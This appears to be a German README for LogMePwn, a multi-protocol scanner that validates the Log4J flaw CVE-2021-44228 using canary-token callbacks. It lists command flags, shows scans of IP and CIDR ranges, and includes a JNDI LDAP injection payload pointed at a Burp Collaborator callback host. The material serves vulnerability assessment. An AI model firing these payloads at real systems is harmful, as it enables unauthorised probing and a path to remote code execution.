
Ein vollautomatisiertes, zuverlässiges, blitzschnelles Scan- und Validierungs-Toolkit für die Log4J RCE CVE-2021-44228-Schwachstelle.
LogMePwn ist ein vollautomatisiertes, Multi-Protokoll-, zuverlässiges, superschnelles Scan- und Validierungstoolkit für die Log4J-RCE-Schwachstelle CVE-2021-44228.

LogMePwn nutzt Canary-Tokens, die wiederum E-Mail- und Webhook-Benachrichtigungen an Ihren bevorzugten Kommunikationskanal senden. Falls Sie einen benutzerdefinierten Callback-Server haben, können Sie diesen ebenfalls verwenden!
Um das Tool zu nutzen, holen Sie sich ein Binary aus dem Releases-Bereich passend zu Ihrer Distribution und verwenden Sie es. Wenn Sie das Tool selbst bauen möchten, benötigen Sie Go >= 1.13. Klonen Sie einfach das Repo und führen Sie go build aus.
Hier die grundlegende Verwendung des Tools:
$ ./lmp --help
+---------------------+
| L o g M e P w n |
+---------------------+ v2.0
~ 0xInfection
Usage:
-custom-server string
Geben Sie einen benutzerdefinierten Callback-Server an.
-delay int
Verzögerung zwischen aufeinanderfolgenden Anfragen an denselben Host, um diesen nicht zu überlasten.
-email string
E-Mail-Adresse für den Empfang von Callback-Benachrichtigungen.
-fbody string
Formatstring für den HTTP-Anforderungskörper angeben.
-file string
Datei mit der Liste der zu scannenden Hosts.
-ftp-ports string
Komma-getrennte Liste der HTTP-Ports pro Ziel. (Standard: "21")
-headers string
Komma-getrennte Liste der HTTP-Header; falls leer, wird eine Standard-Header-Liste verwendet.
-headers-file string
Datei mit benutzerdefinierten Headern für HTTP-Anfragen angeben.
-http-methods string
Komma-getrennte Liste der HTTP-Methoden für den Scan. (Standard: "GET")
-http-ports string
Komma-getrennte Liste der HTTP-Ports pro Ziel. (Standard: "80,443,8080")
-imap-ports string
Komma-getrennte Liste der IMAP-Ports pro Ziel. (Standard: "143,993")
-json
Körper vom Typ JSON in HTTP-Anfragen verwenden, die einen Körper enthalten können.
-payload string
Einzelnen Payload oder Datei mit Payload-Liste angeben.
-protocol string
Protokoll für die Schwachstellenüberprüfung angeben. (Standard: "all")
-ssh-ports string
Komma-getrennte Liste der SSH-Ports pro Ziel. (Standard: "22")
-threads int
Anzahl der Threads für den Scan. (Standard: 10)
-token string
Canary-Token-Payload für Anfragen; falls leer, wird ein neues Token erzeugt.
-user-agent string
Benutzerdefinierter User-Agent-String; falls leer, werden Payloads verwendet.
-webhook string
Webhook für den Empfang von Callback-Benachrichtigungen.
-xml
Körper vom Typ XML in HTTP-Anfragen verwenden, die einen Körper enthalten können.
Beispiele:
./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143
NEU: Diese Funktion wurde in v2.0 eingeführt.
Mit der neuesten Version wurde die Unterstützung für mehrere Protokolle hinzugefügt. Bisher haben wir 4 verschiedene Protokolle:
Wenn Sie kein Protokoll über das Argument -protocol angeben, führt das Tool alle Plugins für jedes unterstützte Protokoll gegenüber den standardmäßigen Ports aus.
Siehe, wie man Ports für jedes Protokoll steuert.
Beispiel:
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # scannt alle Protokolle auf Standardports
Die Ziele können auf zwei Arten angegeben werden: über die Kommandozeile als Argumente oder über eine Datei.
NEU: Sie können jetzt auch CIDR-Bereiche zum Scannen übergeben! Diese Funktion wurde in v1.1 eingeführt.
Beispiel:
./lmp <andere Argumente hier> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <andere Argumente hier> -file internet-ranges.lst
./lmp <andere Argumente hier> 192.168.0.0/26 1.2.3.4/30
Jedes Protokoll hat eine Standardliste von Ports, die mit folgenden Flags angepasst werden kann:
-http-ports für HTTP.-imap-ports für IMAP.-ssh-ports für SSH.-ftp-ports für FTP.Gibt der Benutzer ein Paar host:port an, wird die Standard-Portliste verworfen und alle Prüfungen erfolgen für diesen spezifischen Port. Wenn -protocol nicht angegeben ist, werden alle Protokoll-Plugins gegen denselben Port getestet.
Diese Funktion wurde in v1.1 eingeführt.
Sie können einen Payload direkt über das Argument -payload angeben. Wenn Sie jedoch den DNS-Namen des getesteten Hosts im Payload haben möchten, können Sie die Formatierungsdirektive $DNSNAME$ verwenden, die durch das Ziel ersetzt wird, gegen das der Payload getestet wird.
Beispiel: Wenn Sie einen Befehl wie diesen eingeben:
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com
Dann würde der Payload beim Senden einer HTTP-Anfrage an die URL so aussehen:
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}
Diese Funktion hilft Ihnen zu bewerten, welche Hosts beim Black-Box-Fuzzing anfällig sind.
Sie können auch eine Datei mit mehreren Variationen des Payloads über dasselbe Argument angeben. (Siehe payloads-sample.txt). Beispiel:
./lmp -payload payloads-sample.txt vulnerable.site.com
HINWEIS: Diese Funktion funktioniert nicht mit Canary-Tokens. Canarytokens unterstützt keine benutzerdefinierten DNS-Formate.
HINWEIS: Wenn Sie einen benutzerdefinierten Payload mit
-payloadangeben, ist die Angabe eines Benachrichtigungskanals NICHT notwendig. Der Payload selbst sollte Ihren Callback-Server enthalten.
Die Benachrichtigungskanäle können wie folgt sein:
-email)-webhook)-custom-server)Das Tool verwendet Canary-Tokens; Sie können eines hier erstellen oder das Tool ein Token für Sie erstellen lassen. Wenn das Tool ein Token erstellt, wird es in eine Datei namens canarytoken-logmepwn.json geschrieben, die das Token selbst und die Authentifizierung enthält (beide benötigen Sie, um Auslöser über die Weboberfläche anzuzeigen).
Wenn Sie bereits ein Token haben, können Sie das Argument -token verwenden, um das Token direkt zu nutzen, ohne ein neues zu erstellen.
HINWEIS: Wenn Sie entweder eine E-Mail oder einen Webhook angeben, erstellt das Tool ein benutzerdefiniertes Canary-Token. Wenn Sie einen benutzerdefinierten Callback-Server verwenden, kommen keine Tokens zum Einsatz.